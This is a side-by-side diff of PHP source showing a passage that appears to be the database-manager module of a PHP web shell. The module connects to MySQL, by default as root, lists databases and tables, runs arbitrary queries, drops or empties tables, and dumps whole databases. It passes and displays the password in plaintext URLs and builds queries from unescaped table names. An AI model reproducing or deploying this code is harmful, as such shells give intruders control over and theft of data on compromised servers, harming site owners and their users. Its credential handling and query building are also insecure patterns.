| 2061 | 2061 | ||
| 2062 | $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); | 2062 | $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); |
| 2063 | 2063 | ||
| 2064 | $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); | 2064 | $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); |
| 2065 | 2065 | ||
| 2066 | $sqlquicklaunch[] = array("Logout",$surl."act=sql"); | 2066 | $sqlquicklaunch[] = array("Logout",$surl."act=sql"); |
| 2067 | 2067 | ||
| 2068 | echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; | 2068 | echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; |
| 2069 | 2069 | ||
| 2070 | if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} | 2070 | if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} |
| 2071 | 2071 | ||
| 2072 | echo "</center>"; | 2072 | echo "</center>"; |
| 2073 | 2073 | ||
| 2074 | } | 2074 | } |
| 2075 | 2075 | ||
| 2076 | echo "</td></tr><tr>"; | 2076 | echo "</td></tr><tr>"; |
| 2077 | 2077 | ||
| 2078 | if (!$sql_sock) {?> | 2078 | if (!$sql_sock) {?> |
| 2079 | <td width="28%" height="100" valign="top"><center><font size="5"> i </font></center> | 2079 | <td width="28%" height="100" valign="top"><center><font size="5"> i </font></center> |
| 2080 | <li>If login is null, login is owner of process.<li> | 2080 | <li>If login is null, login is owner of process.<li> |
| 2081 | If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table> | 2081 | If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table> |
| 2082 | </td> | 2082 | </td> |
| 2083 | <?php } | 2083 | <?php } |
| 2084 | 2084 | ||
| 2085 | else | 2085 | else |
| 2086 | { | 2086 | { |
| 2087 | 2087 | ||
| 2088 | //Start left panel | 2088 | //Start left panel |
| 2089 | 2089 | ||
| 2090 | if (!empty($sql_db)) | 2090 | if (!empty($sql_db)) |
| 2091 | { | 2091 | { |
| 2092 | 2092 | ||
| 2093 | ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php | 2093 | ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php |
| 2094 | 2094 | ||
| 2095 | $result = mysql_list_tables($sql_db); | 2095 | $result = mysql_list_tables($sql_db); |
| 2096 | 2096 | ||
| 2097 | if (!$result) {echo mysql_smarterror();} | 2097 | if (!$result) {echo mysql_smarterror();} |
| 2098 | 2098 | ||
| 2099 | else | 2099 | else |
| 2100 | 2100 | ||
| 2101 | { | 2101 | { |
| 2102 | 2102 | ||
| 2103 | echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; | 2103 | echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; |
| 2104 | 2104 | ||
| 2105 | $c = 0; | 2105 | $c = 0; |
| 2106 | 2106 | ||
| 2107 | while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} | 2107 | while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} |
| 2108 | 2108 | ||
| 2109 | if (!$c) {echo "No tables found in database.";} | 2109 | if (!$c) {echo "No tables found in database.";} |
| 2110 | 2110 | ||
| 2111 | } | 2111 | } |
| 2112 | 2112 | ||
| 2113 | } | 2113 | } |
| 2114 | 2114 | ||
| 2115 | else | 2115 | else |
| 2116 | 2116 | ||
| 2117 | { | 2117 | { |
| 2118 | 2118 | ||
| 2119 | ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php | 2119 | ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php |
| 2120 | 2120 | ||
| 2121 | $result = mysql_list_dbs($sql_sock); | 2121 | $result = mysql_list_dbs($sql_sock); |
| 2122 | 2122 | ||
| 2123 | if (!$result) {echo mysql_smarterror();} | 2123 | if (!$result) {echo mysql_smarterror();} |
| 2124 | 2124 | ||
| 2125 | else | 2125 | else |
| 2126 | 2126 | ||
| 2127 | { | 2127 | { |
| 2128 | 2128 | ||
| 2129 | ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php | 2129 | ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php |
| 2130 | 2130 | ||
| 2131 | $c = 0; | 2131 | $c = 0; |
| 2132 | 2132 | ||
| 2133 | $dbs = ""; | 2133 | $dbs = ""; |
| 2134 | 2134 | ||
| 2135 | while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} | 2135 | while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} |
| 2136 | 2136 | ||
| 2137 | echo "<option value=\"\">Databases (".$c.")</option>"; | 2137 | echo "<option value=\"\">Databases (".$c.")</option>"; |
| 2138 | 2138 | ||
| 2139 | echo $dbs; | 2139 | echo $dbs; |
| 2140 | 2140 | ||
| 2141 | } | 2141 | } |
| 2142 | 2142 | ||
| 2143 | ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php | 2143 | ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php |
| 2144 | 2144 | ||
| 2145 | } | 2145 | } |
| 2146 | 2146 | ||
| 2147 | //End left panel | 2147 | //End left panel |
| 2148 | 2148 | ||
| 2149 | echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; | 2149 | echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; |
| 2150 | 2150 | ||
| 2151 | //Start center panel | 2151 | //Start center panel |
| 2152 | 2152 | ||
| 2153 | $diplay = TRUE; | 2153 | $diplay = TRUE; |
| 2154 | 2154 | ||
| 2155 | if ($sql_db) | 2155 | if ($sql_db) |
| 2156 | 2156 | ||
| 2157 | { | 2157 | { |
| 2158 | 2158 | ||
| 2159 | if (!is_numeric($c)) {$c = 0;} | 2159 | if (!is_numeric($c)) {$c = 0;} |
| 2160 | 2160 | ||
| 2161 | if ($c == 0) {$c = "no";} | 2161 | if ($c == 0) {$c = "no";} |
| 2162 | 2162 | ||
| 2163 | echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; | 2163 | echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; |
| 2164 | 2164 | ||
| 2165 | if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} | 2165 | if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} |
| 2166 | 2166 | ||
| 2167 | echo "</b></center>"; | 2167 | echo "</b></center>"; |
| 2168 | 2168 | ||
| 2169 | $acts = array("","dump"); | 2169 | $acts = array("","dump"); |
| 2170 | 2170 | ||
| 2171 | if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 2171 | if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 2172 | 2172 | ||
| 2173 | elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} | 2173 | elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} |
| 2174 | 2174 | ||
| 2175 | elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} | 2175 | elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} |
| 2176 | 2176 | ||
| 2177 | elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 2177 | elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 2178 | 2178 | ||
| 2179 | elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 2179 | elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 2180 | 2180 | ||
| 2181 | elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 2181 | elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 2182 | 2182 | ||
| 2183 | elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} | 2183 | elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
| 2184 | 2184 | ||
| 2185 | elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} | 2185 | elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} |
| 2186 | 2186 | ||
| 2187 | elseif ($sql_tbl_act == "insert") | 2187 | elseif ($sql_tbl_act == "insert") |
| 2188 | 2188 | ||
| 2189 | { | 2189 | { |
| 2190 | 2190 | ||
| 2191 | if ($sql_tbl_insert_radio == 1) | 2191 | if ($sql_tbl_insert_radio == 1) |
| 2192 | 2192 | ||
| 2193 | { | 2193 | { |
| 2194 | 2194 | ||
| 2195 | $keys = ""; | 2195 | $keys = ""; |
| 2196 | 2196 | ||
| 2197 | $akeys = array_keys($sql_tbl_insert); | 2197 | $akeys = array_keys($sql_tbl_insert); |
| 2198 | 2198 | ||
| 2199 | foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} | 2199 | foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} |
| 2200 | 2200 | ||
| 2201 | if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} | 2201 | if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} |
| 2202 | 2202 | ||
| 2203 | $values = ""; | 2203 | $values = ""; |
| 2204 | 2204 | ||
| 2205 | $i = 0; | 2205 | $i = 0; |
| 2206 | 2206 | ||
| 2207 | foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} | 2207 | foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} |
| 2208 | 2208 | ||
| 2209 | if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} | 2209 | if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} |
| 2210 | 2210 | ||
| 2211 | $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; | 2211 | $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; |
| 2212 | 2212 | ||
| 2213 | $sql_act = "query"; | 2213 | $sql_act = "query"; |
| 2214 | 2214 | ||
| 2215 | $sql_tbl_act = "browse"; | 2215 | $sql_tbl_act = "browse"; |
| 2216 | 2216 | ||
| 2217 | } | 2217 | } |
| 2218 | 2218 | ||
| 2219 | elseif ($sql_tbl_insert_radio == 2) | 2219 | elseif ($sql_tbl_insert_radio == 2) |
| 2220 | 2220 | ||
| 2221 | { | 2221 | { |
| 2222 | 2222 | ||
| 2223 | $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); | 2223 | $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); |
| 2224 | 2224 | ||
| 2225 | $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; | 2225 | $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; |
| 2226 | 2226 | ||
| 2227 | $result = mysql_query($sql_query) or print(mysql_smarterror()); | 2227 | $result = mysql_query($sql_query) or print(mysql_smarterror()); |
| 2228 | 2228 | ||
| 2229 | $result = mysql_fetch_array($result, MYSQL_ASSOC); | 2229 | $result = mysql_fetch_array($result, MYSQL_ASSOC); |
| 2230 | 2230 | ||
| 2231 | $sql_act = "query"; | 2231 | $sql_act = "query"; |
| 2232 | 2232 | ||
| 2233 | $sql_tbl_act = "browse"; | 2233 | $sql_tbl_act = "browse"; |
| 2234 | 2234 | ||
| 2235 | } | 2235 | } |
| 2236 | 2236 | ||
| 2237 | } | 2237 | } |
| 2238 | 2238 | ||
| 2239 | if ($sql_act == "query") | 2239 | if ($sql_act == "query") |
| 2240 | 2240 | ||
| 2241 | { | 2241 | { |
| 2242 | 2242 | ||
| 2243 | echo "<hr size=\"1\" noshade>"; | 2243 | echo "<hr size=\"1\" noshade>"; |
| 2244 | 2244 | ||
| 2245 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} | 2245 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} |
| 2246 | 2246 | ||
| 2247 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} | 2247 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} |
| 2248 | 2248 | ||
| 2249 | if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} | 2249 | if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} |
| 2250 | 2250 | ||
| 2251 | } | 2251 | } |
| 2252 | 2252 | ||
| 2253 | if (in_array($sql_act,$acts)) | 2253 | if (in_array($sql_act,$acts)) |
| 2254 | 2254 | ||
| 2255 | { | 2255 | { |
| 2256 | 2256 | ||
| 2257 | ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php | 2257 | ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php |
| 2258 | 2258 | ||
| 2259 | if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} | 2259 | if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} |
| 2260 | 2260 | ||
| 2261 | if ($sql_act == "newtbl") | 2261 | if ($sql_act == "newtbl") |
| 2262 | 2262 | ||
| 2263 | { | 2263 | { |
| 2264 | 2264 | ||
| 2265 | echo "<b>"; | 2265 | echo "<b>"; |
| 2266 | 2266 | ||
| 2267 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; | 2267 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; |
| 2268 | 2268 | ||
| 2269 | } | 2269 | } |
| 2270 | 2270 | ||
| 2271 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} | 2271 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} |
| 2272 | 2272 | ||
| 2273 | } | 2273 | } |
| 2274 | 2274 | ||
| 2275 | elseif ($sql_act == "dump") | 2275 | elseif ($sql_act == "dump") |
| 2276 | 2276 | ||
| 2277 | { | 2277 | { |
| 2278 | 2278 | ||
| 2279 | if (empty($submit)) | 2279 | if (empty($submit)) |
| 2280 | 2280 | ||
| 2281 | { | 2281 | { |
| 2282 | 2282 | ||
| 2283 | $diplay = FALSE; | 2283 | $diplay = FALSE; |
| 2284 | 2284 | ||
| 2285 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; | 2285 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; |
| 2286 | 2286 | ||
| 2287 | echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; | 2287 | echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; |
| 2288 | 2288 | ||
| 2289 | $v = join (";",$dmptbls); | 2289 | $v = join (";",$dmptbls); |
| 2290 | 2290 | ||
| 2291 | echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; | 2291 | echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; |
| 2292 | 2292 | ||
| 2293 | if ($dump_file) {$tmp = $dump_file;} | 2293 | if ($dump_file) {$tmp = $dump_file;} |
| 2294 | 2294 | ||
| 2295 | else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} | 2295 | else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} |
| 2296 | 2296 | ||
